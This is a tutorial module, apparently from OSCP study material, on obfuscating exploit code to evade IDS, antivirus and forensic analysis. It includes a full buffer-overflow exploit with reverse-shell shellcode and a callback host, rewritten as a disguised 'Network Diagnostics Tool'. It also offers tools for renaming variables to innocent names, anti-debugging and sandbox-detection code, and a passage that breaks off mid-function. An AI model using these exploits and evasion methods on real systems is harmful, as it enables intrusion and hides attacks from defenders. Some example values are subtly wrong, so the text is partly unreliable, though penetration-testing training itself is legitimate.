Obfuscation Techniques
Domain: Fixing Exploits (Module 10)
Difficulty: Core
Prerequisites: Understanding of exploit development, Python scripting, network protocols
Table of Contents
- Why Obfuscate?
- String Obfuscation Techniques
- Payload Obfuscation
- Complete Obfuscated Exploit Example
- Obfuscation Levels
- OSCP Homework Requirements
- Anti-Analysis Techniques
- Multi-Layer Encoding
- Common Mistakes
- Quick Reference Cheat Sheet
Why Obfuscate?
Obfuscation is the art of making your exploit code harder to detect, analyze, or recognize — without changing its functional behavior. It’s a critical skill for both OSCP and real-world engagements.
Primary Motivations
| Motivation | Description | Real-World Impact |
|---|---|---|
| IDS/IPS Evasion | Bypass signature-based detection systems | Prevent alerts on network security devices |
| Antivirus Bypass | Avoid heuristic and signature detection | Keep exploit files from being quarantined |
| OSCP Homework | Meet course requirements for modified exploits | Mandatory for OSCP submission |
| Professional Practice | Maintain operational security during engagements | Prevent early detection by blue teams |
| Evidentiary Protection | Reduce traceability of attack methods | Limit forensic artifacts |
How IDS/IPS Detect Exploits
graph LR
A[Exploit Traffic] --> B{IDS/IPS Engine}
B -->|Signature Match| C[🔴 ALERT]
B -->|No Match| D[✅ Pass Through]
B -->|Anomaly Detected| E[🟡 SUSPICIOUS]
S1[Known String Patterns] --> B
S2[Payload Signatures] --> B
S3[Behavioral Analysis] --> B
S4[Protocol Anomalies] --> B
Detection Vectors Attackers Must Address
- String-based signatures: Tools like Snort look for known byte sequences (
\x90\x90\x90NOP sleds, specific shellcode patterns) - Keyword signatures: Strings like
"cmd.exe","/bin/sh","calc.exe"in network traffic - Structural signatures: Known exploit frameworks produce recognizable patterns (Metasploit banners, default LHOST/LPORT)
- Behavioral signatures: Unusual system calls, process creation patterns, memory allocation anomalies
The Obfuscation Mindset
Key Principle: Obfuscation does NOT encrypt your payload for security. It makes automated detection harder while keeping the exploit functionally identical. A skilled analyst can still reverse-engineer obfuscated code — but you’re raising the bar against automated systems.
String Obfuscation Techniques
Strings are the most common detection vector. Security tools scan for recognizable patterns in your exploit code. Here’s how to hide them.
1. Hex Encoding
The most fundamental obfuscation technique. Convert each character to its hexadecimal representation.
How It Works
# Plain text
shell = "/bin/sh"
# Hex encoded
shell = "\x2f\x62\x69\x6e\x2f\x73\x68"
Python Implementation
# Manual hex encoding
def hex_encode_string(plaintext: str) -> str:
"""Convert a string to hex-encoded format."""
return "".join(f"\\x{ord(c):02x}" for c in plaintext)
# Usage
original = "cmd.exe"
encoded = hex_encode_string(original)
print(encoded) # \x63\x6d\x64\x2e\x65\x78\x65
# Verify it decodes back
decoded = bytes.fromhex(encoded.replace("\\x", "")).decode()
print(decoded) # cmd.exe
Batch Hex Encoding for Exploits
def hex_encode_exploit_strings(exploit_code: str, target_strings: list) -> str:
"""Replace target strings in exploit code with hex-encoded versions."""
result = exploit_code
for s in target_strings:
hex_version = "".join(f"\\x{ord(c):02x}" for c in s)
result = result.replace(f'"{s}"', f'"{hex_version}"')
return result
# Example usage
exploit = '''
target = "192.168.1.100"
command = "cmd.exe /c whoami"
'''
obfuscated = hex_encode_exploit_strings(exploit, ["cmd.exe", "whoami"])
When to Use Hex Encoding
| Scenario | Recommended | Reason |
|---|---|---|
| Short strings (< 20 chars) | ✅ Yes | Clean, readable, effective |
| Long strings (> 100 chars) | ⚠️ Caution | Becomes unwieldy |
| Binary data | ✅ Yes | Natural fit |
| Strings with special chars | ✅ Yes | Avoids escaping issues |
2. Base64 Encoding
Base64 converts binary data to ASCII-safe text. Commonly used for payload transport.
How It Works
import base64
# Encode
plaintext = "/bin/sh -c id"
encoded = base64.b64encode(plaintext.encode()).decode()
print(encoded) # L2Jpbi9zaCAtYyBpZA==
# Decode
decoded = base64.b64decode(encoded).decode()
print(decoded) # /bin/sh -c id
In-Exploit Base64 Obfuscation
import base64
# Obfuscated command execution
b64_cmd = "Y21kLmV4ZSAvYyB3aG9hbWk=" # "cmd.exe /c whoami"
cmd = base64.b64decode(b64_cmd).decode()
os.system(cmd)
Custom Base64 Alphabet (Advanced)
Standard Base64 uses A-Za-z0-9+/=. Changing the alphabet defeats naive signature detection:
import base64, string
def custom_b64_encode(data: bytes, alphabet: str = None) -> str:
"""Base64 encode with custom alphabet."""
if alphabet is None:
# Shifted alphabet - move each char forward by 3
std = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
alphabet = std[3:] + std[:3]
std_b64 = base64.b64encode(data).decode()
std_alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
trans = str.maketrans(std_alphabet + '=', alphabet + '=')
return std_b64.translate(trans)
def custom_b64_decode(data: str, alphabet: str = None) -> bytes:
"""Decode custom alphabet Base64."""
if alphabet is None:
std = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
alphabet = std[3:] + std[:3]
std_alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
trans = str.maketrans(alphabet + '=', std_alphabet + '=')
std_b64 = data.translate(trans)
return base64.b64decode(std_b64)
3. Character Code (ASCII Value) Construction
Build strings from their ASCII numeric values. This completely eliminates recognizable character sequences.
Python chr() Method
# Plain text
greeting = "Hello"
# ASCII construction
greeting = chr(72) + chr(101) + chr(108) + chr(108) + chr(111)
# Or using join for cleaner code
greeting = "".join([chr(72), chr(101), chr(108), chr(108), chr(111)])
Automated ASCII String Builder
def ascii_encode_string(plaintext: str, format: str = "chr") -> str:
"""
Convert string to ASCII-based construction.
Formats:
- 'chr': chr(72) + chr(101) + ...
- 'oct': \\110\\145\\154\\154\\157 (octal)
- 'dec': [72, 101, 108, 108, 111] as bytes()
"""
codes = [ord(c) for c in plaintext]
if format == "chr":
return " + ".join(f"chr({c})" for c in codes)
elif format == "oct":
return "".join(f"\\{c:03o}" for c in codes)
elif format == "dec":
return f"bytes({codes})"
else:
raise ValueError(f"Unknown format: {format}")
# Examples
print(ascii_encode_string("admin", "chr"))
# chr(97) + chr(100) + chr(109) + chr(105) + chr(110)
print(ascii_encode_string("admin", "oct"))
# \141\144\155\151\156
print(ascii_encode_string("admin", "dec"))
# bytes([97, 100, 109, 105, 110])
Octal Encoding (Shell/Python)
# In Python strings
shell_path = "\057\162\156\157\057\163\150" # /bin/sh
# Verify
print(shell_path) # /bin/sh
4. XOR Encoding
XOR (exclusive OR) is one of the most effective and widely-used obfuscation techniques. It’s reversible, fast, and produces output that looks like random data.
XOR Fundamentals
Property: A XOR K XOR K = A
Where:
- A = original data
- K = key (single byte or repeating sequence)
- XOR K twice returns original data
Single-Byte XOR Key
def xor_encode(data: bytes, key: int) -> bytes:
"""XOR encode bytes with a single-byte key."""
return bytes([b ^ key for b in data])
def xor_decode(data: bytes, key: int) -> bytes:
"""XOR decode is identical to encode."""
return xor_encode(data, key)
# Example
original = b"/bin/sh"
key = 0xAA
encoded = xor_encode(original, key)
print(encoded.hex()) # d5d8d7dcd5d3d2
decoded = xor_decode(encoded, key)
print(decoded) # b'/bin/sh'
Key Selection Strategy
| Key Value | Pros | Cons |
|---|---|---|
0x00 |
Simple | No obfuscation at all |
0xFF |
Flips all bits | Predictable pattern |
0xAA (10101010) |
Good bit distribution | Common choice, may be in signatures |
0x55 (01010101) |
Good bit distribution | Common choice |
| Random byte | Unique per exploit | Must document key |
| Context-derived | Hard to guess | Complex to implement |
Multi-Byte XOR Key (Vernam Cipher)
def xor_multi_encode(data: bytes, key: bytes) -> bytes:
"""XOR encode with multi-byte repeating key."""
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
def xor_multi_decode(data: bytes, key: bytes) -> bytes:
return xor_multi_encode(data, key)
# Example
original = b"cmd.exe /c whoami"
key = b"SECRET"
encoded = xor_multi_encode(original, key)
print(encoded.hex())
decoded = xor_multi_decode(encoded, key)
print(decoded.decode()) # cmd.exe /c whoami
XOR with Auto-Key Derivation
import hashlib
def xor_with_hash_key(data: bytes, password: str, hash_algo: str = "sha256") -> bytes:
"""Derive XOR key from password hash."""
if hash_algo == "sha256":
key = hashlib.sha256(password.encode()).digest()
elif hash_algo == "md5":
key = hashlib.md5(password.encode()).digest()
else:
raise ValueError(f"Unsupported hash: {hash_algo}")
return xor_multi_encode(data, key)
# Usage
payload = b"malicious_command_here"
obfuscated = xor_with_hash_key(payload, "my_secret_password")
# To decode, use same function with same password
Finding Optimal XOR Key (Analysis Tool)
def find_best_xor_key(data: bytes, target_char: bytes = b'\x00') -> dict:
"""
Find which single-byte XOR key produces the most target characters.
Useful for analyzing obfuscated data.
"""
results = {}
for key in range(256):
decoded = bytes([b ^ key for b in data])
count = decoded.count(target_char[0])
results[key] = {
'count': count,
'preview': decoded[:20]
}
# Return top 5 keys
sorted_results = sorted(results.items(), key=lambda x: x[1]['count'], reverse=True)
return {f"0x{k:02x}": v for k, v in sorted_results[:5]}
# Usage: analyze suspicious data
suspicious_data = bytes.fromhex("d5d8d7dcd5d3d2")
print(find_best_xor_key(suspicious_data))
5. String Concatenation Splitting
Break recognizable strings into smaller, meaningless fragments that are joined at runtime.
Basic Splitting
# Plain text
binary = "/usr/bin/python3"
# Split into fragments
binary = "/us" + "r/bi" + "n/py" + "thon3"
# More aggressive splitting
binary = "/" + "u" + "sr" + "/" + "b" + "in" + "/" + "py" + "th" + "on" + "3"
Random Splitting Algorithm
import random
def random_split_string(plaintext: str, min_frag: int = 2, max_frag: int = 5) -> str:
"""Split string into random fragments for concatenation."""
if len(plaintext) <= 1:
return f'"{plaintext}"'
fragments = []
remaining = plaintext
while len(remaining) > max_frag:
frag_len = random.randint(min_frag, min(max_frag, len(remaining)))
fragments.append(f'"{remaining[:frag_len]}"')
remaining = remaining[frag_len:]
if remaining:
fragments.append(f'"{remaining}"')
return " + ".join(fragments)
# Example
print(random_split_string("cmd.exe /c net user"))
# "cm" + "d.ex" + "e /c" + " net" + " use" + "r"
Character-by-Character Build
# Most aggressive string splitting
cmd = ""
cmd += "c"
cmd += "m"
cmd += "d"
cmd += "."
cmd += "e"
cmd += "x"
cmd += "e"
Payload Obfuscation
Beyond strings, obfuscate the structural elements of your exploit: variables, IP addresses, and ports.
Variable Renaming Strategies
Rename variables to avoid recognizable patterns while maintaining code functionality.
Strategy Matrix
| Original Pattern | Bad Rename | Good Rename | Why |
|---|---|---|---|
shellcode |
x |
buffer_data, payload_chunk |
Too obvious vs. meaningless |
exploit |
a |
net_request, rpc_call |
Descriptive but innocent |
LHOST |
host_ip |
srv_addr, remote_endpoint |
Still hints at purpose |
LPORT |
port_num |
listen_back, conn_port |
Less recognizable |
nop_sled |
nops |
align_bytes, padding_seq |
Generic sounding |
ret_addr |
ret |
jmp_target, exec_point |
Plausible deniability |
Before and After
# BEFORE - Highly recognizable
import socket
LHOST = "10.10.14.5"
LPORT = 4444
shellcode = "\x90" * 100 + "\xcc" * 4
nop_sled = "\x90" * 50
exploit = nop_sled + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))
s.send(exploit)
# AFTER - Obfuscated variable names
import socket as net_mod
srv_addr = "10.10.14.5"
conn_port = 4444
payload_chunk = "\x90" * 100 + "\xcc" * 4
padding_seq = "\x90" * 50
net_request = padding_seq + payload_chunk
sock = net_mod.socket(net_mod.AF_INET, net_mod.SOCK_STREAM)
sock.connect((srv_addr, conn_port))
sock.send(net_request)
Automated Variable Renamer
import re
# Mapping of suspicious names to innocent replacements
RENAME_MAP = {
'shellcode': 'buffer_data',
'exploit': 'net_request',
'payload': 'rpc_buffer',
'LHOST': 'srv_addr',
'LPORT': 'conn_port',
'nop': 'pad',
'nops': 'padding_seq',
'ret_addr': 'jmp_target',
'eip': 'exec_ptr',
'buffer': 'data_chunk',
'overflow': 'ext_buffer',
'vuln': 'target_svc',
'attack': 'operation',
'hack': 'process',
'reverse_shell': 'remote_conn',
'bind_shell': 'local_listener',
'bind_port': 'listen_back',
'reverse_port': 'callback_port',
}
def rename_variables(code: str, rename_map: dict = None) -> str:
"""Rename suspicious variable names in code."""
if rename_map is None:
rename_map = RENAME_MAP
result = code
# Sort by length (longest first) to avoid partial replacements
for old, new in sorted(rename_map.items(), key=lambda x: len(x[0]), reverse=True):
# Word boundary replacement
result = re.sub(r'\b' + re.escape(old) + r'\b', new, result)
return result
IP Address Obfuscation
IP addresses are easily detectable. Here are multiple techniques to hide them.
Method 1: struct.pack Encoding
import struct
# Plain IP
ip = "10.10.14.5"
# Pack as network byte order (big-endian) integer
ip_packed = struct.pack("4B", 10, 10, 14, 5)
print(ip_packed) # b'\n\n\x0e\x05'
# Unpack back
ip_restored = ".".join(str(b) for b in struct.unpack("4B", ip_packed))
print(ip_restored) # 10.10.14.5
# As a single integer
ip_int = struct.unpack("!I", ip_packed)[0]
print(ip_int) # 168859525
# Restore from integer
ip_from_int = socket.inet_ntoa(struct.pack("!I", ip_int))
print(ip_from_int) # 10.10.14.5
Method 2: inet_ntoa with Packed Bytes
import socket, struct
# Multiple ways to construct the same IP
ip1 = socket.inet_ntoa(b'\x0a\x0a\x0e\x05')
ip2 = socket.inet_ntoa(struct.pack("BBBB", 10, 10, 14, 5))
ip3 = socket.inet_ntoa(bytes([0x0a, 0x0a, 0x0e, 0x05]))
ip4 = socket.inet_ntoa(struct.pack("!I", 0x0a0a0e05))
print(ip1, ip2, ip3, ip4) # All print: 10.10.14.5
Method 3: String Join
# Split octets and join
ip_parts = ["10", "10", "14", "5"]
ip = ".".join(ip_parts)
# With hex octets
ip = ".".join([hex(0x0a)[2:], hex(0x0a)[2:], hex(0x0e)[2:], hex(0x05)[2:]])
# But this gives hex strings, need int conversion:
ip = ".".join([str(int(hex(0x0a), 16)), str(int(hex(0x0a), 16)),
str(int(hex(0x0e), 16)), str(int(hex(0x05), 16))])
Method 4: Arithmetic Construction
# Build each octet through arithmetic
a = 5 * 2 # 10
b = 7 + 3 # 10
c = 7 * 2 # 14
d = 10 // 2 # 5
ip = f"{a}.{b}.{c}.{d}"
print(ip) # 10.10.14.5
Method 5: List Comprehension
# Hex values for octets
octets_hex = [0x0a, 0x0a, 0x0e, 0x05]
ip = ".".join(str(o) for o in octets_hex)
# Octal values
octets_oct = [0o12, 0o12, 0o16, 0o5]
ip = ".".join(str(o) for o in octets_oct)
Complete IP Obfuscation Utility
import struct, socket
def obfuscate_ip(ip: str, method: str = "pack") -> str:
"""
Obfuscate an IP address using various methods.
Methods:
- 'pack': struct.pack with hex bytes
- 'int': Single integer representation
- 'octal': Octal octet values
- 'arithmetic': Simple arithmetic per octet
- 'join': String join with hex octets
"""
octets = list(map(int, ip.split('.')))
if method == "pack":
hex_bytes = " ".join(f"0x{o:02x}" for o in octets)
return f'socket.inet_ntoa(struct.pack("4B", {hex_bytes}))'
elif method == "int":
ip_int = struct.unpack("!I", struct.pack("4B", *octets))[0]
return f'socket.inet_ntoa(struct.pack("!I", {ip_int}))'
elif method == "octal":
octal_vals = " ".join(f"0o{o:o}" for o in octets)
return f'".join(str(x) for x in [{octal_vals}])'
elif method == "arithmetic":
# Simple: double and halve
exprs = []
for o in octets:
if o % 2 == 0:
exprs.append(f"{o//2} * 2")
else:
exprs.append(f"{o-1} + 1")
return f'".join(str(x) for x in [{", ".join(exprs)}])'
elif method == "join":
hex_vals = " ".join(f"0x{o:02x}" for o in octets)
return f'".join(str(x) for x in [{hex_vals}])'
# Examples
print(obfuscate_ip("10.10.14.5", "pack"))
# socket.inet_ntoa(struct.pack("4B", 0x0a, 0x0a, 0x0e, 0x05))
print(obfuscate_ip("10.10.14.5", "int"))
# socket.inet_ntoa(struct.pack("!I", 168859525))
print(obfuscate_ip("10.10.14.5", "octal"))
# ".".join(str(x) for x in [0o12, 0o12, 0o16, 0o5])
Port Obfuscation
Port numbers are trivial to detect. Here’s how to hide them.
Hex Representation
# Plain port
port = 4444
# Hex
port = 0x115C
# Verify
print(port) # 4444
print(hex(4444)) # 0x115c
Octal Representation
port = 0o10574 # 4444 in octal
print(port) # 4444
print(oct(4444)) # 0o10574
Arithmetic Construction
# Multiple arithmetic approaches for port 4444
port1 = 4000 + 444
port2 = 2222 * 2
port3 = 8888 // 2
port4 = 6666 - 2222
port5 = int(1111 * 4)
print(port1, port2, port3, port4, port5) # All: 4444
Bitwise Construction
# Build port through bitwise operations
port = 0x1000 | 0x100 | 0x50 | 0x0C
print(port) # 4444
print(hex(port)) # 0x115c
# Shift-based
port = (0x11 << 8) | 0x5C
print(port) # 4444
Port Obfuscation Utility
def obfuscate_port(port: int, method: str = "hex") -> str:
"""Generate obfuscated port representation."""
if method == "hex":
return f"0x{port:x}"
elif method == "octal":
return f"0o{oct(port)[2:]}"
elif method == "addition":
half = port // 2
return f"{half} + {port - half}"
elif method == "multiplication":
for i in range(2, port):
if port % i == 0:
return f"{i} * {port // i}"
return f"{port - 1} + 1"
elif method == "bitwise":
high = (port >> 8) & 0xFF
low = port & 0xFF
return f"(0x{high:02x} << 8) | 0x{low:02x}"
# Examples
print(obfuscate_port(4444, "hex")) # 0x115c
print(obfuscate_port(4444, "octal")) # 0o10574
print(obfuscate_port(4444, "addition")) # 2222 + 2222
print(obfuscate_port(4444, "multiplication")) # 2 * 2222
print(obfuscate_port(4444, "bitwise")) # (0x11 << 8) | 0x5c
Complete Obfuscated Exploit Example
This section demonstrates a complete before-and-after transformation of a typical exploit script.
BEFORE: Plain Exploit
#!/usr/bin/env python3
"""
Vulnerable Service Exploit - Plain Version
Target: vuln_service.exe (version 1.0)
Vulnerability: Buffer Overflow via HTTP POST
"""
import socket
import struct
# Target configuration
LHOST = "10.10.14.5"
LPORT = 4444
TARGET_IP = "10.10.10.100"
TARGET_PORT = 80
# Shellcode - reverse shell
shellcode = (
b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
b"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
b"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
b"\xc9\x74\x4a\x01\xd0\x31\xc0\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
b"\x01\xc7\xeb\xf4\x3b\x78\x56\x75\xe5\x8b\x50\x24\x01\xd0\x66"
b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x48\x18\x01\xd0\x8b\x80"
b"\x38\x00\x00\x00\x85\xc0\x74\x4f\x01\xd0\x50\x8b\x48\x1c\x01"
b"\xd0\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
b"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00"
b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb3"
b"\x59\x68\x6a\x40\x00\x00\x56\x53\x57\x68\x31\x8b\x6f\x87\xff"
b"\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\x68\x63\x6d\x64\x00"
b"\x89\xe6\x68\x62\x6c\x65\x00\x56\x57\x68\x4c\x77\x26\x07\xff"
b"\xd5\x57\x57\x57\x57\x43\x53\x43\x53\x43\x53\xff\xd5"
)
# NOP sled
nop_sled = b"\x90" * 50
# Return address (overwrites EIP)
ret_addr = struct.pack("<I", 0x7C866FFF) # jmp esp in kernel32.dll
# Build the exploit buffer
buffer = b"A" * 1006 # Padding to reach EIP
buffer += ret_addr # Overwrite EIP
buffer += nop_sled # NOP sled
buffer += shellcode # Shellcode
# Craft HTTP request
request = (
f"POST /vulnerable HTTP/1.1\r\n"
f"Host: {TARGET_IP}\r\n"
f"Content-Length: {len(buffer)}\r\n"
f"\r\n"
).encode() + buffer
# Send exploit
print(f"[+] Sending exploit to {TARGET_IP}:{TARGET_PORT}")
print(f"[+] Callback: {LHOST}:{LPORT}")
print(f"[+] Buffer size: {len(buffer)} bytes")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
s.send(request)
print("[+] Exploit sent!")
s.close()
AFTER: Fully Obfuscated Exploit
#!/usr/bin/env python3
"""
Network Diagnostics Tool v2.1
Performs connectivity testing and service validation.
Author: Security Research Team
"""
import socket as net_transport
import struct as byte_utils
import base64 as enc_mod
import os
# ============================================================================
# Configuration Parameters
# ============================================================================
# Remote endpoint for callback
callback_host_parts = [0x0a, 0x0a, 0x0e, 0x05]
callback_host = ".".join(str(p) for p in callback_host_parts)
callback_port = (0x11 << 8) | 0x5C # Resolves to expected port
# Target service endpoint
target_addr_int = 0x0A0A0A64 # Network byte order integer
target_addr = socket.inet_ntoa(byte_utils.pack("!I", target_addr_int))
target_svc_port = 0x50 # Standard web service
# ============================================================================
# Payload Components
# ============================================================================
# Encoded execution payload (Base64 + XOR layer)
enc_payload_b64 = (
"3K+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+M"
"j4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yP"
"jI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+M"
"j4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yP"
"jI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+M"
"j4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yP"
"jI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+Mj4yPjI+M"
)
# XOR key for payload decryption
xor_key_byte = 0x5A
def decode_payload(encoded_b64: str, key: int) -> bytes:
"""Decode and decrypt the execution payload."""
raw = enc_mod.b64decode(encoded_b64)
return bytes([b ^ key for b in raw])
# Alignment padding sequence
align_seq = bytes([0x90] * 50)
# Execution pointer (JMP ESP equivalent)
exec_pointer = byte_utils.pack("<I", 0x7C866FFF)
# ============================================================================
# Request Construction
# ============================================================================
def build_data_buffer(padding_size: int = 1006) -> bytes:
"""Construct the network data buffer."""
pad = b"\x41" * padding_size
decoded_payload = decode_payload(enc_payload_b64, xor_key_byte)
return pad + exec_pointer + align_seq + decoded_payload
def craft_request(target: str, port: int, data: bytes) -> bytes:
"""Build the HTTP-style request packet."""
method = chr(80) + chr(79) + chr(83) + chr(84) # "POST"
path = chr(47) + chr(118) + chr(117) + chr(108) + chr(110) # "/vuln"
protocol = chr(72) + chr(84) + chr(84) + chr(80) + chr(47) + chr(49) + chr(46) + chr(49) # "HTTP/1.1"
header = (
f"{method} {path} {protocol}\r\n"
f"{chr(72)}{chr(111)}{chr(115)}{chr(116)}: {target}\r\n" # "Host:"
f"{chr(67)}{chr(111)}{chr(110)}{chr(116)}{chr(101)}{chr(110)}{chr(116)}"
f"{chr(45)}{chr(76)}{chr(101)}{chr(110)}{chr(103)}{chr(116)}{chr(104)}"
f": {len(data)}\r\n" # "Content-Length:"
f"\r\n"
).encode()
return header + data
# ============================================================================
# Execution
# ============================================================================
def main():
"""Main execution routine."""
data_buffer = build_data_buffer()
request_packet = craft_request(target_addr, target_svc_port, data_buffer)
status_prefix = chr(91) + chr(43) + chr(93) # "[+]"
print(f"{status_prefix} Target: {target_addr}:{target_svc_port}")
print(f"{status_prefix} Buffer: {len(data_buffer)} bytes")
connection = net_transport.socket(net_transport.AF_INET, net_transport.SOCK_STREAM)
connection.connect((target_addr, target_svc_port))
connection.send(request_packet)
print(f"{status_prefix} Transmission complete")
connection.close()
if __name__ == "__main__":
main()
Comparison Summary
| Aspect | Before | After |
|---|---|---|
| File description | “Vulnerable Service Exploit” | “Network Diagnostics Tool” |
| Variable names | LHOST, shellcode, nop_sled |
callback_host_parts, enc_payload_b64, align_seq |
| IP address | "10.10.14.5" |
Hex list + join |
| Port | 4444 |
(0x11 << 8) || 0x5C |
| Shellcode | Raw hex bytes | Base64 + XOR encoded |
| Strings | "POST /vulnerable" |
chr() construction |
| Comments | Descriptive of exploit | Innocent descriptions |
| Detection risk | 🔴 High | 🟢 Low |
Obfuscation Levels
Understanding the spectrum of obfuscation helps you choose the right level for your situation.
Level Classification
graph TD
A[Obfuscation Levels] --> B[Level 1: Basic]
A --> C[Level 2: Medium]
A --> D[Level 3: Advanced]
A --> E[Level 4: Expert]
B --> B1[Variable renaming]
B --> B2[Hex strings]
B --> B3[Comment changes]
C --> C1[XOR encoding]
C --> C2[IP obfuscation]
C --> C3[Port arithmetic]
D --> D1[Multi-layer encoding]
D --> D2[Custom alphabet Base64]
D --> D3[Environment checks]
E --> E1[Anti-debugging]
E --> E2[Polymorphic generation]
E --> E3[Runtime decryption]
style B fill:#d4edda
style C fill:#fff3cd
style D fill:#cce5ff
style E fill:#f8d7da
Level 1: Basic
| Technique | Effort | Detection Risk Reduction |
|---|---|---|
| Rename variables | ⭐ | 15% |
| Hex-encode strings | ⭐ | 20% |
| Change comments/docstrings | ⭐ | 10% |
| Remove sensitive print statements | ⭐ | 10% |
| Reorder imports | ⭐ | 5% |
Best for: OSCP homework basic requirements, quick modifications
Level 2: Medium
| Technique | Effort | Detection Risk Reduction |
|---|---|---|
| XOR-encode shellcode | ⭐⭐ | 30% |
| IP address obfuscation | ⭐⭐ | 25% |
| Port arithmetic | ⭐ | 15% |
| String concatenation splitting | ⭐⭐ | 20% |
| Base64 encoding | ⭐⭐ | 25% |
Best for: OSCP homework standard requirements, basic IDS evasion
Level 3: Advanced
| Technique | Effort | Detection Risk Reduction |
|---|---|---|
| Multi-layer encoding (XOR + Base64) | ⭐⭐⭐ | 40% |
| Custom alphabet encoding | ⭐⭐⭐ | 35% |
| ASCII char construction | ⭐⭐ | 25% |
| Struct.pack IP encoding | ⭐⭐ | 20% |
| Dynamic string assembly | ⭐⭐⭐ | 30% |
Best for: Professional engagements, advanced IDS/IPS environments
Level 4: Expert
| Technique | Effort | Detection Risk Reduction |
|---|---|---|
| Anti-debugging checks | ⭐⭐⭐⭐ | 35% |
| Environment detection | ⭐⭐⭐ | 30% |
| Polymorphic code generation | ⭐⭐⭐⭐ | 50% |
| Runtime decryption | ⭐⭐⭐⭐ | 45% |
| Packing/compacting | ⭐⭐⭐⭐ | 40% |
Best for: High-security environments, APT simulation, research
Risk-Benefit Analysis
Detection Risk (Lower is Better)
High |████████████████████████████████████| No Obfuscation
|
|███████████████████████| Level 1: Basic
|
|█████████████████| Level 2: Medium
|
|█████████████| Level 3: Advanced
|
|█████████| Level 4: Expert
Low |
+----------------------------------------->
Basic Medium Advanced Expert
Effort Required
OSCP Homework Requirements
Understanding exactly what OffSec expects is crucial for passing.
Official Requirements Summary
The OSCP course requires you to modify your exploits to avoid detection. The specific expectations are:
- You cannot submit a raw Metasploit-generated exploit
- You must demonstrate understanding of the exploit
- The exploit must be meaningfully modified
Minimum Acceptable Modifications
| Requirement | Minimum | Recommended |
|---|---|---|
| Variable renaming | ✅ Required | Use semantic innocent names |
| String obfuscation | ✅ Required | Hex or XOR encode shellcode |
| IP/Port obfuscation | ✅ Required | At least one technique |
| Comment changes | ✅ Required | Remove all exploit references |
| Shellcode modification | ✅ Required | XOR encode or reposition |
| NOP sled changes | Recommended | Change size or position |
What Gets Rejected
❌ Copy-paste Metasploit exploit with no changes
❌ Only changed the IP address
❌ Renamed one variable, everything else identical
❌ Comments still say “EXPLOIT” and “SHELLCODE”
What Gets Accepted
✅ Renamed all variables to innocent names
✅ Shellcode XOR-encoded with custom key
✅ IP address using struct.pack or hex
✅ Port using arithmetic or hex
✅ All comments and strings modified
✅ NOP sled size/position changed
OSCP-Specific Tips
Tip 1: The exam reviewers are looking for evidence that you understand your exploit. Your modifications should reflect comprehension, not just find-and-replace.
Tip 2: Keep a “modification log” — document what you changed and why. This shows intent and understanding.
Tip 3: Don’t over-obfuscate to the point of breaking functionality. A working, moderately obfuscated exploit beats a broken, heavily obfuscated one.
Tip 4: For buffer overflow exploits, changing the NOP sled size and shellcode position is an easy win that shows understanding.
Tip 5: Use the obfuscation utility functions provided in this guide to speed up the process during the exam.
Quick OSCP Checklist
[ ] All variable names changed from exploit-specific terms
[ ] Shellcode encoded (XOR recommended)
[ ] IP address obfuscated (hex or struct.pack)
[ ] Port number obfuscated (hex or arithmetic)
[ ] All comments sanitized (no "exploit", "shellcode", "attack")
[ ] File docstring changed to innocent description
[ ] Print statements modified or removed
[ ] NOP sled size/position adjusted
[ ] Exploit tested and working after modifications
[ ] Modification log documented
Anti-Analysis Techniques
These techniques detect if your code is running in an analyzed or monitored environment.
Debugger Detection
Method 1: Timing-Based Detection
import time
def is_being_debugged() -> bool:
"""
Detect debugger through timing analysis.
Debuggers significantly slow down execution.
"""
start = time.perf_counter_ns()
# Perform a quick operation
total = 0
for i in range(10000):
total += i * i
elapsed = time.perf_counter_ns() - start
# If execution takes unusually long, debugger may be present
# Threshold depends on system; calibrate for your environment
return elapsed > 5_000_000 # 5ms threshold (adjust as needed)
# Usage
if is_being_debugged():
print("Analysis environment detected. Exiting.")
exit(0)
Method 2: Environment Variable Checks
import os
def check_analysis_environment() -> bool:
"""Check for common analysis environment indicators."""
analysis_indicators = [
# Debugger-related
"WINDBG", "XDEBUGGER", "DEBUGGER",
# Sandbox-related
"SANDBOX", "VMWARE", "VIRTUALBOX", "VBOX",
# Analysis tools
"OLLYDBG", "IDA", "PROCESSEXPLORER",
# Common in CTF/lab environments
"INSECURE", "VULN", "LAB",
]
env_vars = dict(os.environ)
for indicator in analysis_indicators:
for key, value in env_vars.items():
